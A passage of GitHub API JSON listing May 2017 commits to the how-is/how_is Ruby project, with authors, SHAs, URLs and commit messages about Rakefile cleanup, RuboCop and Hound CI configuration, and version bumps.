gemspec.","tree":{"sha":"1bef4251ccad0c3f32254583ab1752376ef210e0","url":"https://api.github.com/repos/how-is/how_is/git/trees/1bef4251ccad0c3f32254583ab1752376ef210e0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b3481f7abd96c0d479c3e7d3dc91f14b5283a03c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b3481f7abd96c0d479c3e7d3dc91f14b5283a03c","html_url":"https://github.com/how-is/how_is/commit/b3481f7abd96c0d479c3e7d3dc91f14b5283a03c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b3481f7abd96c0d479c3e7d3dc91f14b5283a03c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ccf98e50ddb1181175b4ebd6b90a11ec11f5d20a","url":"https://api.github.com/repos/how-is/how_is/commits/ccf98e50ddb1181175b4ebd6b90a11ec11f5d20a","html_url":"https://github.com/how-is/how_is/commit/ccf98e50ddb1181175b4ebd6b90a11ec11f5d20a"}]},{"sha":"ccf98e50ddb1181175b4ebd6b90a11ec11f5d20a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2NmOThlNTBkZGIxMTgxMTc1YjRlYmQ2YjkwYTExZWMxMWY1ZDIwYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:04:16Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:04:16Z"},"message":"[Rakefile] use #tr instead of #gsub","tree":{"sha":"83d89b6bc768efe49c6ac875768d697caed720be","url":"https://api.github.com/repos/how-is/how_is/git/trees/83d89b6bc768efe49c6ac875768d697caed720be"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ccf98e50ddb1181175b4ebd6b90a11ec11f5d20a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ccf98e50ddb1181175b4ebd6b90a11ec11f5d20a","html_url":"https://github.com/how-is/how_is/commit/ccf98e50ddb1181175b4ebd6b90a11ec11f5d20a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ccf98e50ddb1181175b4ebd6b90a11ec11f5d20a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"15037be855714ed74f67b8d81a4e0d5276c11616","url":"https://api.github.com/repos/how-is/how_is/commits/15037be855714ed74f67b8d81a4e0d5276c11616","html_url":"https://github.com/how-is/how_is/commit/15037be855714ed74f67b8d81a4e0d5276c11616"}]},{"sha":"15037be855714ed74f67b8d81a4e0d5276c11616","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTUwMzdiZTg1NTcxNGVkNzRmNjdiOGQ4MWE0ZTBkNTI3NmMxMTYxNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:01:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T05:01:40Z"},"message":"Rename \"block\" to \"_block\" to indicate it''s not referenced (but it''s required because of the use of \"yield\").","tree":{"sha":"a0551dce1670e2066054dd99ba35685af3e560d9","url":"https://api.github.com/repos/how-is/how_is/git/trees/a0551dce1670e2066054dd99ba35685af3e560d9"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/15037be855714ed74f67b8d81a4e0d5276c11616","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/15037be855714ed74f67b8d81a4e0d5276c11616","html_url":"https://github.com/how-is/how_is/commit/15037be855714ed74f67b8d81a4e0d5276c11616","comments_url":"https://api.github.com/repos/how-is/how_is/commits/15037be855714ed74f67b8d81a4e0d5276c11616/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d601f3289b0260d9d5c5fe7701c64ebbf5c68b1d","url":"https://api.github.com/repos/how-is/how_is/commits/d601f3289b0260d9d5c5fe7701c64ebbf5c68b1d","html_url":"https://github.com/how-is/how_is/commit/d601f3289b0260d9d5c5fe7701c64ebbf5c68b1d"}]},{"sha":"d601f3289b0260d9d5c5fe7701c64ebbf5c68b1d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDYwMWYzMjg5YjAyNjBkOWQ1YzVmZTc3MDFjNjRlYmJmNWM2OGIxZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T04:53:12Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T04:53:12Z"},"message":"[Rakefile] remove commented-out code.","tree":{"sha":"4a83c918f24a70702b350d790649a2c80f0c5e72","url":"https://api.github.com/repos/how-is/how_is/git/trees/4a83c918f24a70702b350d790649a2c80f0c5e72"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d601f3289b0260d9d5c5fe7701c64ebbf5c68b1d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d601f3289b0260d9d5c5fe7701c64ebbf5c68b1d","html_url":"https://github.com/how-is/how_is/commit/d601f3289b0260d9d5c5fe7701c64ebbf5c68b1d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d601f3289b0260d9d5c5fe7701c64ebbf5c68b1d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"508952623a3a7ea166ae545bb0c42405ee3eb395","url":"https://api.github.com/repos/how-is/how_is/commits/508952623a3a7ea166ae545bb0c42405ee3eb395","html_url":"https://github.com/how-is/how_is/commit/508952623a3a7ea166ae545bb0c42405ee3eb395"}]},{"sha":"9a4de0b4ace828db4675f947848e53796134f94f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWE0ZGUwYjRhY2U4MjhkYjQ2NzVmOTQ3ODQ4ZTUzNzk2MTM0Zjk0Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-25T23:08:25Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-25T23:08:25Z"},"message":"move rubocop dep to gemspec","tree":{"sha":"ad00e8f0608427e76986dc2418ee98e6a0c6c18e","url":"https://api.github.com/repos/how-is/how_is/git/trees/ad00e8f0608427e76986dc2418ee98e6a0c6c18e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9a4de0b4ace828db4675f947848e53796134f94f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9a4de0b4ace828db4675f947848e53796134f94f","html_url":"https://github.com/how-is/how_is/commit/9a4de0b4ace828db4675f947848e53796134f94f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9a4de0b4ace828db4675f947848e53796134f94f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3f6f3ca8e9811843c1de1b21778f112804311c60","url":"https://api.github.com/repos/how-is/how_is/commits/3f6f3ca8e9811843c1de1b21778f112804311c60","html_url":"https://github.com/how-is/how_is/commit/3f6f3ca8e9811843c1de1b21778f112804311c60"}]},{"sha":"78601ebcd5819c1b0a224b17af63741b18454000","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Nzg2MDFlYmNkNTgxOWMxYjBhMjI0YjE3YWY2Mzc0MWIxODQ1NDAwMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-25T22:55:47Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-25T22:55:47Z"},"message":"version bump","tree":{"sha":"e6cb45031de5393033ae117396980703db480897","url":"https://api.github.com/repos/how-is/how_is/git/trees/e6cb45031de5393033ae117396980703db480897"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/78601ebcd5819c1b0a224b17af63741b18454000","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/78601ebcd5819c1b0a224b17af63741b18454000","html_url":"https://github.com/how-is/how_is/commit/78601ebcd5819c1b0a224b17af63741b18454000","comments_url":"https://api.github.com/repos/how-is/how_is/commits/78601ebcd5819c1b0a224b17af63741b18454000/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6c1550175524b3de8b1d316cb25bd8a7a38ac3a3","url":"https://api.github.com/repos/how-is/how_is/commits/6c1550175524b3de8b1d316cb25bd8a7a38ac3a3","html_url":"https://github.com/how-is/how_is/commit/6c1550175524b3de8b1d316cb25bd8a7a38ac3a3"}]},{"sha":"6c1550175524b3de8b1d316cb25bd8a7a38ac3a3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmMxNTUwMTc1NTI0YjNkZThiMWQzMTZjYjI1YmQ4YTdhMzhhYzNhMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-25T22:55:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-25T22:55:14Z"},"message":"add information about Hound CI to CHANGELOG","tree":{"sha":"ee3bd93626217cbd02f24cdaa250eed174b86e73","url":"https://api.github.com/repos/how-is/how_is/git/trees/ee3bd93626217cbd02f24cdaa250eed174b86e73"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6c1550175524b3de8b1d316cb25bd8a7a38ac3a3","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6c1550175524b3de8b1d316cb25bd8a7a38ac3a3","html_url":"https://github.com/how-is/how_is/commit/6c1550175524b3de8b1d316cb25bd8a7a38ac3a3","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6c1550175524b3de8b1d316cb25bd8a7a38ac3a3/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"a6ac95cc316ad37542e625b83bb9896334bbcd98","url":"https://api.github.com/repos/how-is/how_is/commits/a6ac95cc316ad37542e625b83bb9896334bbcd98","html_url":"https://github.com/how-is/how_is/commit/a6ac95cc316ad37542e625b83bb9896334bbcd98"}]},{"sha":"dd2800c3fb686ca8757881b111bc900d19627ba8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGQyODAwYzNmYjY4NmNhODc1Nzg4MWIxMTFiYzkwMGQxOTYyN2JhOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T13:27:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T13:27:07Z"},"message":"add .hound.yml","tree":{"sha":"15071fb92d8a2630de32ecfb7634c390f59f1485","url":"https://api.github.com/repos/how-is/how_is/git/trees/15071fb92d8a2630de32ecfb7634c390f59f1485"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/dd2800c3fb686ca8757881b111bc900d19627ba8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/dd2800c3fb686ca8757881b111bc900d19627ba8","html_url":"https://github.com/how-is/how_is/commit/dd2800c3fb686ca8757881b111bc900d19627ba8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/dd2800c3fb686ca8757881b111bc900d19627ba8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6599aa1ba0de2fe6298bfe91776a4a0244c94e8f","url":"https://api.github.com/repos/how-is/how_is/commits/6599aa1ba0de2fe6298bfe91776a4a0244c94e8f","html_url":"https://github.com/how-is/how_is/commit/6599aa1ba0de2fe6298bfe91776a4a0244c94e8f"}]},{"sha":"6599aa1ba0de2fe6298bfe91776a4a0244c94e8f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjU5OWFhMWJhMGRlMmZlNjI5OGJmZTkxNzc2YTRhMDI0NGM5NGU4Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T13:10:23Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T13:10:23Z"},"message":"Vastly improve RuboCop config.","tree":{"sha":"730425b40cc7644c7f35301b468583b9c8e53d3d","url":"https://api.github.com/repos/how-is/how_is/git/trees/730425b40cc7644c7f35301b468583b9c8e53d3d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6599aa1ba0de2fe6298bfe91776a4a0244c94e8f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6599aa1ba0de2fe6298bfe91776a4a0244c94e8f","html_url":"https://github.com/how-is/how_is/commit/6599aa1ba0de2fe6298bfe91776a4a0244c94e8f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6599aa1ba0de2fe6298bfe91776a4a0244c94e8f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b77a03eef456f5a984e02185a604d379af3554f1","url":"https://api.github.com/repos/how-is/how_is/commits/b77a03eef456f5a984e02185a604d379af3554f1","html_url":"https://github.com/how-is/how_is/commit/b77a03eef456f5a984e02185a604d379af3554f1"}]},{"sha":"b77a03eef456f5a984e02185a604d379af3554f1","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Yjc3YTAzZWVmNDU2ZjVhOTg0ZTAyMTg1YTYwNGQzNzlhZjM1NTRmMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T11:03:53Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T11:03:53Z"},"message":"Beginning of RuboCop config.\n\nACAB.","tree":{"sha":"d817f842e54d6070aafd5881704b09438e2ac7c4","url":"https://api.github.com/repos/how-is/how_is/git/trees/d817f842e54d6070aafd5881704b09438e2ac7c4"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b77a03eef456f5a984e02185a604d379af3554f1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b77a03eef456f5a984e02185a604d379af3554f1","html_url":"https://github.com/how-is/how_is/commit/b77a03eef456f5a984e02185a604d379af3554f1","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b77a03eef456f5a984e02185a604d379af3554f1/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"539b0c735bd1bbce6617c1253b2f026104dc9fc3","url":"https://api.github.com/repos/how-is/how_is/commits/539b0c735bd1bbce6617c1253b2f026104dc9fc3","html_url":"https://github.com/how-is/how_is/commit/539b0c735bd1bbce6617c1253b2f026104dc9fc3"}]},{"sha":"539b0c735bd1bbce6617c1253b2f026104dc9fc3","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTM5YjBjNzM1YmQxYmJjZTY2MTdjMTI1M2IyZjAyNjEwNGRjOWZjMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T09:02:59Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-15T09:02:59Z"},"message":"match version of rubocop that hound 